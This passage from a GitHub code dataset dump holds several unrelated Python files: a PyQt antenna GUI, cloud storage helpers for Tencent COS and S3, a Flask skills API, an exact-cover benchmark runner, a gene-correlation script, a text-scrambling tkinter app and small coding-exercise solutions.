self.azimuthLCDDisplayInput.setObjectName(\"azimuthLCDDisplayInput\")\n self.elevationLCDDisplayInput = QtWidgets.QLCDNumber(self.setPositionGroup)\n self.elevationLCDDisplayInput.setGeometry(QtCore.QRect(250, 110, 71, 23))\n self.elevationLCDDisplayInput.setObjectName(\"elevationLCDDisplayInput\")\n self.elevationDialInput = QtWidgets.QDial(self.setPositionGroup)\n self.elevationDialInput.setGeometry(QtCore.QRect(200, 40, 171, 161))\n self.elevationDialInput.setStyleSheet(\"background-color: rgb(109, 152, 134);\")\n self.elevationDialInput.setMaximum(120)\n self.elevationDialInput.setSingleStep(1)\n self.elevationDialInput.setPageStep(10)\n self.elevationDialInput.setSliderPosition(0)\n self.elevationDialInput.setTracking(True)\n self.elevationDialInput.setOrientation(QtCore.Qt.Horizontal)\n self.elevationDialInput.setInvertedAppearance(False)\n self.elevationDialInput.setInvertedControls(False)\n self.elevationDialInput.setWrapping(False)\n self.elevationDialInput.setNotchTarget(3.7)\n self.elevationDialInput.setNotchesVisible(True)\n self.elevationDialInput.setObjectName(\"elevationDialInput\")\n self.azimuthLabel = QtWidgets.QLabel(self.setPositionGroup)\n self.azimuthLabel.setGeometry(QtCore.QRect(70, 80, 71, 20))\n font = QtGui.QFont()\n font.setPointSize(15)\n font.setBold(True)\n font.setWeight(75)\n self.azimuthLabel.setFont(font)\n self.azimuthLabel.setStyleSheet(\"background-color: transparent;\\n\"\n\"font-weight: bold;\\n\"\n\"color: black;\")\n self.azimuthLabel.setAlignment(QtCore.Qt.AlignCenter)\n self.azimuthLabel.setObjectName(\"azimuthLabel\")\n self.elevationLabel = QtWidgets.QLabel(self.setPositionGroup)\n self.elevationLabel.setGeometry(QtCore.QRect(249, 80, 71, 20))\n font = QtGui.QFont()\n font.setPointSize(15)\n font.setBold(True)\n font.setWeight(75)\n self.elevationLabel.setFont(font)\n self.elevationLabel.setStyleSheet(\"background-color: transparent;\\n\"\n\"font-weight: bold;\\n\"\n\"color: black;\")\n self.elevationLabel.setAlignment(QtCore.Qt.AlignCenter)\n self.elevationLabel.setObjectName(\"elevationLabel\")\n self.goPositionButton = QtWidgets.QPushButton(self.setPositionGroup)\n self.goPositionButton.setGeometry(QtCore.QRect(140, 240, 113, 32))\n self.goPositionButton.setStyleSheet(\"\")\n self.goPositionButton.setObjectName(\"goPositionButton\")\n self.elevationDialInput.raise_()\n self.azimuthDialInput.raise_()\n self.azimuthLCDDisplayInput.raise_()\n self.elevationLCDDisplayInput.raise_()\n self.azimuthLabel.raise_()\n self.elevationLabel.raise_()\n self.goPositionButton.raise_()\n MainWindow.setCentralWidget(self.centralwidget)\n self.menubar = QtWidgets.QMenuBar(MainWindow)\n self.menubar.setGeometry(QtCore.QRect(0, 0, 820, 24))\n self.menubar.setObjectName(\"menubar\")\n MainWindow.setMenuBar(self.menubar)\n self.statusbar = QtWidgets.QStatusBar(MainWindow)\n self.statusbar.setObjectName(\"statusbar\")\n MainWindow.setStatusBar(self.statusbar)\n\n self.retranslateUi(MainWindow)\n QtCore.QMetaObject.connectSlotsByName(MainWindow)\n \n def retranslateUi(self, MainWindow):\n _translate = QtCore.QCoreApplication.translate\n MainWindow.setWindowTitle(_translate(\"MainWindow\", \"MainWindow\"))\n self.azimuthDisplayGroup.setTitle(_translate(\"MainWindow\", \"Azimuth\"))\n self.ccwButton.setText(_translate(\"MainWindow\", \"CCW\"))\n self.cwButton.setText(_translate(\"MainWindow\", \"CW\"))\n self.elevationDisplayGroup.setTitle(_translate(\"MainWindow\", \"Elevation\"))\n self.downButton.setText(_translate(\"MainWindow\", \"DOWN\"))\n self.upButton.setText(_translate(\"MainWindow\", \"UP\"))\n self.setPositionGroup.setTitle(_translate(\"MainWindow\", \"Set Position Values\"))\n self.azimuthLabel.setText(_translate(\"MainWindow\", \"Azimuth\"))\n self.elevationLabel.setText(_translate(\"MainWindow\", \"Elevation\"))\n self.goPositionButton.setText(_translate(\"MainWindow\", \"Go To Position\"))\n\n\nif __name__ == \"__main__\":\n import sys\n app = QtWidgets.QApplication(sys.argv)\n MainWindow = QtWidgets.QMainWindow()\n ui = Ui_MainWindow()\n ui.setupUi(MainWindow)\n MainWindow.show()\n sys.exit(app.exec_())\n","repo_name":"tayfunguven/Antenna-QT","sub_path":"antennaGUI.py","file_name":"antennaGUI.py","file_ext":"py","file_size_in_byte":10176,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"74939861206","text":"import os\nfrom qcloud_cos import CosConfig\nfrom qcloud_cos import CosS3Client\n\n# 配置信息\nbucket = os.environ.get(\"COS_bucket\") or 'mnp-1300173558'\nsecret_id = os.environ.get(\"TENCENT_APP_ID\") or 'xxxx' # 替换为用户的 secretId\nsecret_key = os.environ.get(\"TENCENT_APP_KEY\") or 'xxxx' # 替换为用户的 secretKey\nregion = os.environ.get(\"COS_region\") or 'ap-shanghai' # 替换为用户的 Region\ntoken = None # 使用临时密钥需要传入 Token,默认为空,可不填\nscheme = 'https' # 指定使用 http/https 协议来访问 COS,默认为 https,可不填\n\n\nconfig = CosConfig(Region=region, SecretId=secret_id, SecretKey=secret_key, Token=token, Scheme=scheme)\n# 2. 获取客户端对象\nclient = CosS3Client(config)\n","repo_name":"linmp/bili","sub_path":"py后台常用工具/app/腾讯云cos/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":747,"program_lang":"python","lang":"zh","doc_type":"code","stars":314,"dataset":"github-code","pt":"31"} +{"seq_id":"13175346382","text":"import os\nfrom Parser import parser\nimport exactcover as ec\nimport matrix_a as ma\nimport linecache\nimport filecmp\nimport cov\nimport pandas as pd\n#from filprofiler.api import profile\n\ndef launch(input_root, output_path):\n comp_results = []\n\n try:\n execute_files(input_root, output_path, comp_results)\n except KeyboardInterrupt:\n pass\n\n print(comp_results)\n results_df = pd.DataFrame.from_records(\n comp_results, \n columns=[\n \"name\", \n \"N\", \n \"M\", \n \"Time Base\", \n \"Time Plus\",\n \"Visited Base\",\n \"Visited Plus\",\n \"Total Nodes Base\",\n \"Total Nodes Plus\",\n \"Visited Rate Base\",\n \"Visited Rate Plus\",\n \"Cov Len Base\",\n \"Cov Len Plus\",\n \"Sudoku Rate\",\n \"Sudoku Base\"\n ])\n results_df.to_csv(os.path.join(output_path, \"data.csv\"))\n\n\ndef execute_files(root_path: str, output_root: str, results: list):\n \"\"\"Executes the exact cover algorithm for all files inside the 'Inputs' folder\n\n Args:\n root_path (string): path to the 'Inputs' folder\n \"\"\"\n for file in os.listdir(root_path):\n print(file + \" \"*10)\n cur_file_path = os.path.join(root_path, file)\n if os.path.isdir(cur_file_path):\n execute_files(cur_file_path, output_root, results)\n else:\n # m = parser.parse_file(cur_file_path)\n matrix_a = get_matrix_a(cur_file_path, 250)\n ec_base = ec.ExactCover(matrix_a, file, output_root)\n #profile(lambda: ec_base.ec(), 'fil/base' + file) # cambiare commento per profilare memoria\n ec_base.ec()\n ec_plus = ec.ExactCoverPlus(matrix_a, file, output_root)\n #profile(lambda: ec_plus.ec(), 'fil/plus' + file) # cambiare commento per profilare memoria\n ec_plus.ec()\n compare_results_file(ec_base.cov, ec_plus.cov)\n\n results_to_append = [\n file, # Name of the file\n len(matrix_a), # |N|\n len(ec_base.m), # |M|\n ec_base.time, # EC Base execution time\n ec_plus.time, # EC Plus execution time\n ec_base.visited_nodes, # nodi visitati\n ec_plus.visited_nodes, \n ec_base.total_nodes, # nodi totali\n ec_plus.total_nodes, \n round(ec_base.visited_nodes*100/ec_base.total_nodes, 2), # % nodi visitati\n round(ec_plus.visited_nodes*100/ec_plus.total_nodes, 2), \n len(ec_base.cov), # Numero di set nel COV \n len(ec_plus.cov)\n ]\n\n if \"Sudoku\" in cur_file_path or \"Random\" in cur_file_path:\n if \"Sudoku\" in cur_file_path:\n results_to_append.extend([\n ec_base.matrix_a.rate, # Sudoku -> Rate\n ec_base.matrix_a.base # Sudoku -> Base\n ])\n else:\n results_to_append.extend([\n 0,\n 0\n ])\n print(\" \" + compare_results(ec_base, ec_plus))\n\n results.append(results_to_append)\n\ndef log_computational_results():\n pass\n\ndef compare_results_file(cov_base: cov.Cover, cov_plus: cov.Cover):\n comparison = filecmp.cmp(cov_base.results_path, cov_plus.results_path, shallow=False)\n comment = f\"Corresponding Results: {comparison}\"\n\n cov_base.write_comment(comment)\n cov_plus.write_comment(comment)\n\n return comparison\n\ndef get_matrix_a(cur_file_path: str, chunk_size: int = None):\n raw_line = linecache.getline(cur_file_path, 1)\n if \";;; Sudoku\" in raw_line:\n return ma.MatrixA_Sudoku(cur_file_path, chunk_size)\n else:\n return ma.MatrixA_Binary(cur_file_path, chunk_size)\n\ndef compare_results(baseEC: ec.ExactCover, plusEC: ec.ExactCoverPlus) -> str:\n if baseEC.time > plusEC.time:\n rate = round(baseEC.time/plusEC.time, 2)\n return f\"Plus alg {rate} times faster than Base alg\"\n elif plusEC.time > baseEC.time:\n rate = round(plusEC.time/baseEC.time, 2)\n return f\"Base alg {rate} times faster than Plus alg\"\n else:\n return \"Both alg executed in similar times\"\n","repo_name":"H3isenb3rg/ExactCover2022","sub_path":"ExactCover/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4393,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"8045443581","text":"from flask_restful import Resource\nfrom models.skill_model import SkillModel\nfrom flask_jwt_extended import get_jwt_identity, jwt_required\nfrom sqlalchemy.exc import SQLAlchemyError\nfrom flask_smorest import abort\nfrom flask import request\nfrom marshmallow import Schema, fields\n\n\nclass AddSkillSchema(Schema):\n skills = fields.List(fields.Str(), required=True)\n\n\nclass AddSkillList(Resource):\n\n @classmethod\n @jwt_required()\n def post(cls):\n if get_jwt_identity().get('role') != 'candidate':\n abort(403, message='You are not authorized to access this resource.')\n\n errors = AddSkillSchema().validate(request.get_json())\n if errors:\n abort(400, message=errors)\n\n data = request.get_json()\n\n # Convert list of skills to set to remove duplicates\n skills_to_add = set(data.get('skills'))\n\n # get a SET of skills of the user\n user_skills = SkillModel.find_all_skills_by_uid(\n get_jwt_identity().get('user_id'))\n\n # Find the difference between the two sets\n skill_differences = skills_to_add.difference(user_skills)\n\n # Add the new skills to the database\n for skill in skill_differences:\n new_skill = SkillModel(\n name=skill, user_id=get_jwt_identity().get('user_id'))\n try:\n new_skill.save_to_db()\n except SQLAlchemyError as e:\n print(e)\n abort(500, message='An error occurred while adding the skill')\n\n return {'message': 'Skills added successfully'}, 201\n\n\nclass AddOneSkillSchema(Schema):\n skill = fields.Str(required=True)\n\n\nclass AddOne(Resource):\n @classmethod\n @jwt_required()\n def post(cls):\n if get_jwt_identity().get('role') != 'candidate':\n abort(403, message='You are not authorized to access this resource.')\n\n errors = AddOneSkillSchema().validate(request.get_json())\n if errors:\n abort(400, message=errors)\n\n skill = AddOneSkillSchema().load(request.get_json())['skill']\n\n # get a SET of skills of the user\n user_skills = SkillModel.find_all_skills_by_uid(\n get_jwt_identity().get('user_id'))\n\n # Check if the skill already exists\n if skill.lower() in user_skills:\n abort(400, message='Skill already exists')\n\n # Add the new skill to the database\n new_skill = SkillModel(\n skill, get_jwt_identity().get('user_id'))\n new_skill.save_to_db()\n\n # get the last skill added\n last_skill = SkillModel.get_the_last_skill()\n\n return {'skill': last_skill.to_dict()}, 201\n","repo_name":"lhkhoi95/AKKA-JobFinder","sub_path":"server/code/resources/skills/add.py","file_name":"add.py","file_ext":"py","file_size_in_byte":2665,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"73699376727","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution:\n def getIntersectionNode(self, headA: ListNode, headB: ListNode) -> ListNode:\n len_a, len_b = 0, 0\n\n p = headA\n while p:\n len_a += 1\n p = p.next\n\n q = headB\n while q:\n len_b += 1\n q = q.next\n\n p, q = headA, headB\n if len_a > len_b:\n for _ in range(len_a - len_b):\n p = p.next\n else:\n for _ in range(len_b - len_a):\n q = q.next\n\n while p and q:\n if p == q:\n return p\n else:\n p = p.next\n q = q.next\n\n return None\n\n\"\"\"\nResults:\nRuntime: 164 ms, faster than 73.54% of Python3 online submissions for Intersection of Two Linked Lists.\nMemory Usage: 29 MB, less than 100.00% of Python3 online submissions for Intersection of Two Linked Lists.\n\"\"\"\n","repo_name":"buptwxd2/leetcode","sub_path":"Round_1/160. Intersection of Two Linked Lists/solution_2.py","file_name":"solution_2.py","file_ext":"py","file_size_in_byte":1027,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"34885023573","text":"\n\n#from pydoc import help\nfrom scipy.stats.stats import pearsonr\n#help(pearsonr)\n\nimport csv\n\nimport numpy as np\nimport pandas as pd\nfrom itertools import islice\n\ndef take(n, iterable):\n #\"Return first n items of the iterable as a list\"\n return list(islice(iterable, n))\n\n\ninput = [\"ATRAID (51374)\"]\n\ninput = [\"SLC37A3 (84255)\"]\ninput = [\"FDPS (2224)\"]\ninput = [\"MTOR (2475)\"]\ninput = [\"TGFBR2 (7048)\"]\ninput = [\"TGFBR1 (7046)\"]\ninput = [\"FBN1\"]\ninput = [\"SMAD3\"]\ninput = [\"TGFBR2\"]\ninput = [\"MTOR..2475.\"]\ninput = [\"MTOR..2475.\"]\ninput = [\"ATRAID..51374.\"]\ninput = [\"ATRAID..51374.\"]\n\ninput = [\"FDPS..2224.\"]\ninput = [\"HMGCR..3156.\"]\ninput = [\"SIGMAR1..10280.\"]\ninput = [\"TMEM97..27346.\"]\n\ninput = [\"FDPS\"]\ninput = [\"HMGCR\"]\ninput = [\"SPTLC2\"]\ninput = [\"SPTLC2..9517.\"]\ninput = [\"COL4A3BP..10087.\"]\ninput = [\"IFT81..28981.\"]\ninput = [\"ZZZ3..26009.\"]\ninput = [\"UBALD1..124402.\"]\n\ninput0 = input[0]\n#input = [\"UBALD2..283991.\"]\n\n\n'''with open('/Users/timrpeterson/Downloads/gene_effect_corrected_output.csv') as csv_file:\n\tcsv_reader = csv.reader(csv_file, delimiter=',')\n\tnext(csv_reader)\n\nquit()\t'''\nbase_path = '/home/jiwpark00/timrpeterson/njacobs/'\n\n\n\n#dataset = '/Users/timrpeterson/OneDrive - Washington University in St. Louis/Data/MORPHEOME/DepMap/gene_effect_corrected_output.csv'\n#dataset = '/Users/timrpeterson/OneDrive - Washington University in St. Louis/Data/MORPHEOME/Hart-Moffat/qbf_Avanadata_2018.txt'\ndataset = base_path + 'Achilles_gene_effect-2019q4-Broad_t.csv'\ndataset = base_path + 'Achilles_gene_effect-2019q4-Broad_t_noNAs.csv'\n#dataset = base_path + 'gene_effect_corrected_t_clean_gene_name.csv'\n#dataset = base_path + 'qbf_Avanadata_2018.txt'\n\n\nbase_path = '/home/jiwpark00/timrpeterson/MORPHEOME/FOR_PAPER/Figure2-introduce-morpheome/'\n\ndataset = base_path + 'D2_Achilles_gene_dep_scores.csv'\n\n\nif \"gene_effect\" not in dataset:\n\tif \"Achilles\" in dataset:\n\t\tage = '2020'\n\t\tdelimiter = ','\n\t\tremove_gene_id = True\t\t\n\telse:\n\t\tage = '2018q4'\n\t\tdelimiter = '\\t'\n\t\tremove_gene_id = False \nelse:\n\tif \"2019q4\" in dataset:\n\t\tage = '2019q4'\n\telif \"2018\" in dataset:\n\t\tage = '2018'\t\t\n\telse: \t\n\t\tage = '2019q1'\n\tdelimiter = ','\n\tremove_gene_id = True \n\ninput_genes = []\n\nwith open(dataset) as csv_file:\n\tcsv_reader = csv.reader(csv_file, delimiter=delimiter)\n\tnext(csv_reader)\n\n\tfor row in csv_reader:\n\t\t\n\t\tinput_genes.append(row[0])\n\n\tcsv_file.close()\n\n\n\n#input_genes = [\"MTOR (2475)\", 'ATRAID (51374)', \"SLC37A3 (84255)\"]\n\n#input_genes = [\"SPTLC2 (9517)\", \"COL4A3BP (10087)\"]\n\n\n\ncnt = 0\nfor input0 in input_genes:\n\n\tif cnt < 60:\n\t\tcnt +=1\n\t\tcontinue\n\n\t#input1 = input0.split(\"..\")\n\tinput1 = input0.split(\" \")\n\n\t#print(input1)\n\n\twith open(dataset) as csv_file:\n\t\tcsv_reader = csv.reader(csv_file, delimiter=delimiter)\n\t\tnext(csv_reader)\n\n\t\twith open('/home/jiwpark00/timrpeterson/njacobs/' + 'interactions_correlation_basal-Achilles/' + input1[0] + '-pearsons-python-' + age + '.csv', 'w') as csvfile:\n\n\t\t#with open('/Users/timrpeterson/OneDrive - Washington University in St. Louis/Data/MORPHEOME/DepMap/cherry-picked/' + input0 + '-pearsons-python-' + age + '.csv', 'wb') as csvfile:\n\t\t\tspamwriter = csv.writer(csvfile, delimiter=',')\n\t\t\n\t\t\tgenes = {}\n\t\t\tfor row in csv_reader:\n\t\t\t\tgene = row[0]\n\t\t\t\trow.pop(0)\n\n\t\t\t\tif remove_gene_id is True:\n\t\t\t\t\t#arr = gene.split(\"..\")\n\t\t\t\t\tarr = gene.split(\" \")\n\t\t\t\t#row_temp.pop(0)\n\t\t\t\t\tgenes[arr[0]] = row\n\t\t\t\telse:\n\t\t\t\t\tgenes[gene] = row\n\t\t\t#for k, v in genes.iteritems():\n\t\t\t\t#print k, v\n\t\t\t\t#quit()\n\t\t\toutput = []\n\n\t\t\t# Build list of NA inside target gene\n\t\t\ttarget_NAs = [i for i, x in enumerate(genes[input1[0]]) if x == \"NA\" or x == '']\n\n\t\t\tfor key, value in genes.items(): \n\t\t\t\t'''x, y = np.array(value), np.array(genes[input1[0]])\n\t\t\t\tnas = np.logical_or(pd.isnull(x), pd.isnull(y))\n\t\t\t\tresult = pearsonr(x[~nas], y[~nas])'''\n\t\t\t\tdest_NAs = [i for i, x in enumerate(value) if x == \"NA\" or x == '']\n\n\t\t\t\tindices_to_remove = list(set(target_NAs + dest_NAs))\n\n\t\t\t\tfiltered_value = [i for j, i in enumerate(value) if j not in indices_to_remove] \n\t\t\t\tfiltered_gene = [i for j, i in enumerate(genes[input1[0]]) if j not in indices_to_remove]\n\t\t\t\t#all_targets = target_NAs + dest_NAs\n\n\t\t\t\t#print(filtered_gene)\n\t\t\t\t#print(filtered_value)\n\t\t\t\tif len(filtered_value) < 3 or len(filtered_gene) < 3:\n\t\t\t\t\tcontinue\n\n\t\t\t\tresult = pearsonr([float(elt) for elt in filtered_value], [float(elt) for elt in filtered_gene])\n\n\t\t\t\t#result = pearsonr(np.array(filtered_value).astype(np.float), np.array(filtered_gene).astype(np.float))\n\n\t\t\t\t#result = pearsonr(np.array(value).astype(np.float), np.array(genes[input1[0]]).astype(np.float))\n\n\t\t\t\toutput.append(list((key,) + result)) \n\n\t\t\t\t#sort the output desc\n\t\t\toutput2 = sorted(output, key=lambda x: x[1], reverse=True)\n\n\t\t\tspamwriter.writerows(output2)\n\t#\t\tfor row in output2:\t\t\n\t\t\t\t#if any(field.strip() for field in row):\n\t#\t\t\tprint(row)\n\t\t\t\t#spamwriter.writerow(row)\n\n\t\t\tcsvfile.close()\n\n","repo_name":"tim-peterson/morpheome_chpc_prep_data","sub_path":"py/coessentiality_all_genes.py","file_name":"coessentiality_all_genes.py","file_ext":"py","file_size_in_byte":4893,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"74066343768","text":"class Solution:\n def permuteUnique(self, nums: List[int]) -> List[List[int]]:\n return self.helper(nums)\n \n def helper(self, nums):\n if len(nums) == 1:\n return [nums]\n ret = []\n show = []\n for i in range(len(nums)):\n new_nums = nums.copy()\n n = new_nums.pop(i)\n if n in show:\n continue\n show.append(n)\n prev = self.helper(new_nums)\n ret += [[n] + p for p in prev]\n return ret","repo_name":"aifighter/leetcode","sub_path":"1-100/47.py","file_name":"47.py","file_ext":"py","file_size_in_byte":521,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"29123562739","text":"#!/usr/bin/env python3\n# coding:utf-8\nimport random\nimport sys\nimport webbrowser\nimport tkinter as tk\nfrom tkinter import messagebox as msg\n\n__VERSION__ = \"1.0.1\"\n\n\ndef about():\n msg.showinfo(\"À propos du programme\", \"TextMxier\\n\"\n \"Mixeur de phrases.\\n\"\n \"Version {}\\n\"\n \"Python \".format(__VERSION__) + str(sys.version_info[0]) + \".\" +\n str(sys.version_info[1]) + \".\" + str(sys.version_info[2]) + \"\\n\"\n \"Développé par Jean Dubois .\"\n \"Icône par Icongeek26.\")\n\n\ndef mix():\n result = mixSentence(enterTextEntry.get(\"1.0\", tk.END))\n resultEntry.config(state=tk.NORMAL)\n resultEntry.delete(\"1.0\", tk.END)\n resultEntry.insert(\"1.0\", result)\n resultEntry.config(state=tk.DISABLED)\n\n\ndef listToStr(list):\n \"\"\" Convertit une liste ['a', 'b', 'cd'] en un str 'abcd' \"\"\"\n str = ''\n for i in list:\n str += i\n return str\n\n\ndef mixSentence(sentence):\n \"\"\" Mixe une phrase \"\"\"\n # Apostrophes\n apostrophesPos = []\n for pos, letter in enumerate(sentence):\n if letter == \"'\":\n apostrophesPos.append(pos)\n\n sentence = sentence.replace('\\n\\n\\n\\n\\n', '\\n')\n sentence = sentence.replace('\\n\\n\\n\\n', '\\n')\n sentence = sentence.replace('\\n\\n\\n', '\\n')\n sentence = sentence.replace('\\n\\n', '\\n')\n # Retour ligne\n backPos = []\n for pos, letter in enumerate(sentence):\n if letter == '\\n':\n try:\n # if not sentence[pos - 1] == '\\n':\n backPos.append(pos)\n except IndexError:\n pass\n\n # Avoir une liste de mots\n sentence = sentence.replace(\"'\", \" \").replace(\"\\n\", \" \")\n sentence = sentence.split()\n mxiedSentence = ''\n\n # Traitement par mots\n for word in sentence:\n if not len(word) == 1:\n firstLetter = word[:1] # on récupère la 1ère lettre du txt\n lastLetter = word[len(word) - 1:] # et sa dernière\n ponctuation = ''\n while lastLetter == \",\" or lastLetter == \".\" or lastLetter == \";\" or lastLetter == \":\" or lastLetter == \"?\" or lastLetter == \"!\":\n # cas des ponctuations\n ponctuation += lastLetter\n word = word[:len(word)-1]\n lastLetter = word[len(word) - 1:]\n if firstLetter == \"?\" or firstLetter == \"!\":\n firstLetter = None\n\n otherLetters = list(word[1:len(word) - 1]) # on récupère les lettres au milieu dans une liste\n\n random.shuffle(otherLetters) # qu'on mélange\n otherLetters = listToStr(otherLetters) # qu'on remet en str\n # et on assemble le tout\n mxiedWord = firstLetter + otherLetters + lastLetter if not firstLetter is None else otherLetters + lastLetter\n mxiedSentence += mxiedWord + ponctuation + \" \"\n else: # point-virgule et double-point\n mxiedSentence += word + ' '\n\n # rajout des apostrophes\n mxiedSentence = list(mxiedSentence)\n if not len(apostrophesPos) == 0:\n for apostrophePos in apostrophesPos:\n mxiedSentence.pop(apostrophePos) # supprimer l'esapce créé à la place de l'apostrophe\n mxiedSentence.insert(apostrophePos, \"'\")\n if not len(backPos) == 0:\n for backpos in backPos:\n try:\n mxiedSentence.pop(backpos) # supprimer l'esapce créé à la place de l'apostrophe\n mxiedSentence.insert(backpos, \"\\n\")\n except IndexError: # deux retours ligne à la suite\n pass\n mxiedSentence = listToStr(mxiedSentence)\n\n return mxiedSentence\n\n\nAPP_BACKGROUND = '#F5DA81'\n\nroot = tk.Tk()\nroot.title(\"TextMxier\")\nroot.geometry(\"1300x500+10+10\")\nroot.minsize(1100, 400)\ntry:\n root.iconbitmap('icon.ico')\nexcept tk.TclError:\n pass\nroot.config(background=APP_BACKGROUND)\n\nmenuBar = tk.Menu(root)\n\nfileMenu = tk.Menu(menuBar, tearoff=0)\nfileMenu.add_command(label=\"Mixer\", command=lambda: mix())\nfileMenu.add_separator()\nfileMenu.add_command(label=\"Quitter\", command=lambda: quit(0)) # quitter le programme\nmenuBar.add_cascade(label=\"Fichier\", menu=fileMenu)\n\noptionsMenu = tk.Menu(menuBar, tearoff=0)\ngithubIssuesCascadeInOptionsMenu = tk.Menu(optionsMenu, tearoff=0)\ngithubIssuesCascadeInOptionsMenu.add_command(label=\"Reporter un bug\", command=lambda: webbrowser.open(\"https://github.com/jd-develop/TextMxier/issues/new?assignees=&labels=&template=rapport-de-bug.md&title=%5BBUG%5D+-+%28description+rapide%29\", new=0))\ngithubIssuesCascadeInOptionsMenu.add_command(label=\"Faire une demande de fonctionnalité\", command=lambda: webbrowser.open(\"https://github.com/jd-develop/TextMxier/issues/new?assignees=&labels=&template=demande-de-fonctionnalit-.md&title=%5BDEMANDE+DE+FONCTIONNALITE%5D\"))\noptionsMenu.add_cascade(label=\"Issues GitHub\", menu=githubIssuesCascadeInOptionsMenu)\noptionsMenu.add_command(label=\"À propos du programme...\", command=lambda: about()) # à propos du programme\nmenuBar.add_cascade(label=\"Options\", menu=optionsMenu)\n\nroot.config(menu=menuBar)\n\nframe = tk.Frame(root, bg=APP_BACKGROUND)\n\nenterTextFrame = tk.Frame(frame, bg=APP_BACKGROUND)\nenterTextLabel = tk.Label(enterTextFrame, text=\"Entrez du texte :\", bg=APP_BACKGROUND)\nenterTextEntry = tk.Text(enterTextFrame, bg=APP_BACKGROUND)\n\nresultFrame = tk.Frame(frame, bg=APP_BACKGROUND)\nresultLabel = tk.Label(resultFrame, text=\"Résultat :\", bg=APP_BACKGROUND)\nresultEntry = tk.Text(resultFrame, bg=APP_BACKGROUND)\nresultEntry.config(state=tk.DISABLED)\n\nenterTextLabel.pack()\nenterTextEntry.pack()\nenterTextFrame.grid(row=0, column=0)\n\nresultLabel.pack()\nresultEntry.pack()\nresultFrame.grid(row=0, column=1)\n\nresultButton = tk.Button(root, text=\"Mixer\", bg=APP_BACKGROUND, command=lambda: mix())\n\nframe.pack()\nresultButton.pack()\nenterTextEntry.focus()\nroot.mainloop()\n","repo_name":"jd-develop/TextMxier","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6044,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"32702174742","text":"import boto3\nimport botocore\nimport os\nimport uuid\nimport traceback\n\n\ns3 = boto3.client(\n \"s3\",\n aws_access_key_id=os.environ.get(\"S3_KEY\"),\n aws_secret_access_key=os.environ.get(\"S3_SECRET\")\n)\n\nBUCKET_NAME = os.environ.get(\"S3_BUCKET\")\nS3_LOCATION = f\"https://{BUCKET_NAME}.s3.amazonaws.com/\"\nALLOWED_EXTENSIONS = {\"png\", \"jpg\", \"jpeg\", 'webp'}\n\ndef allowed_file(filename):\n return \".\" in filename and \\\n filename.rsplit(\".\", 1)[1].lower() in ALLOWED_EXTENSIONS\n\ndef get_unique_filename(filename):\n ext = filename.rsplit(\".\", 1)[1].lower()\n unique_filename = uuid.uuid4().hex\n return f\"{unique_filename}.{ext}\"\n\n\ndef delete_file_from_s3(userId):\n folder = s3.list_objects(Bucket=BUCKET_NAME, Prefix=f\"{userId}/\")\n print('folder ------------- ', folder)\n print(\"folder['Contents']\", folder['Contents'])\n\n if folder and 'Contents' in folder:\n for obj in folder['Contents']:\n s3.delete_object(Bucket=BUCKET_NAME, Key=obj['Key'])\n\n\ndef upload_file_to_s3(file, acl=\"public-read\"):\n print('------ upload_file_to_s3 -------')\n print(file)\n \n # print(userId)\n # folder_file_path = f'{userId}/{file.filename}'\n # print('folder_file_path ------', folder_file_path)\n try:\n print('*** content type under upload ***', file.content_type)\n result = s3.upload_fileobj(\n file,\n BUCKET_NAME,\n file.filename,\n ExtraArgs={\n \"ACL\": acl,\n \"ContentType\": file.content_type\n }\n )\n print('*** upload result ***', result)\n trace_err1 = traceback.format_exc()\n print('>>>>>>>>>>>>>>>', trace_err1)\n print('*** upload_fileobj() finished ***')\n except Exception as e:\n # in case the our s3 upload fails\n trace_err = traceback.format_exc()\n print('trace_err >>>>>>>>>', trace_err)\n print('upload_fileobj error --------', e)\n\n return {\"errors\": str(e)}\n\n return {\"url\": f\"{S3_LOCATION}{file.filename}\"}\n","repo_name":"OneBoatFly/venmo-clone","sub_path":"app/myAWS.py","file_name":"myAWS.py","file_ext":"py","file_size_in_byte":2027,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"42673773402","text":"#!/usr/bin/env checkio --domain=py run humpty-dumpty\n\n# .story.shadow { float: left; /*padding: 10px;*/ margin: 10px; border: black; }\n# END_DESC\n\nimport math\n\n\ndef checkio(height, width):\n\n # prolate (elongated) spheroid (x,y,z) = (a,b,c) where c > a (\n # oblate (flattened) spheroid (x,y,z) = (a,b,c) where c < a\n\n a = width / 2\n c = height / 2\n volume = 0\n surface_area = 0\n\n if c == a: # case of sphere\n print(\"Sphere\")\n volume = 4 / 3 * math.pi * (a**3)\n surface_area = 4 * math.pi * (a**2)\n elif c > a: # case of prolate spheroid\n print(\"Prolate\")\n e_sq = 1 - (a**2)/(c**2)\n e = math.sqrt(e_sq)\n surface_area = 2 * math.pi * (a**2) * (1 + (c/a/e) * math.asin(e))\n volume = 4 * math.pi / 3 * (a**2) * c\n else: # case of oblate spheroid\n print(\"Oblate\")\n e_sq = 1 - (c**2)/(a**2)\n e = math.sqrt(e_sq)\n surface_area = 2 * math.pi * a ** 2 + math.pi * (c**2)/e * math.log((1+e)/(1-e))\n volume = 4 * math.pi / 3 * (a ** 2) * c\n\n print(\"Volume: {}, Surface Area: {}\".format(volume, surface_area))\n return [round(volume, 2), round(surface_area, 2)]\n # return [1, 1]\n\n\nif __name__ == '__main__':\n # These \"asserts\" using only for self-checking and not necessary for auto-testing\n # checkio(2, 4)\n assert checkio(4, 2) == [8.38, 21.48], \"Prolate spheroid\"\n assert checkio(2, 2) == [4.19, 12.57], \"Sphere\"\n assert checkio(2, 4) == [16.76, 34.69], \"Oblate 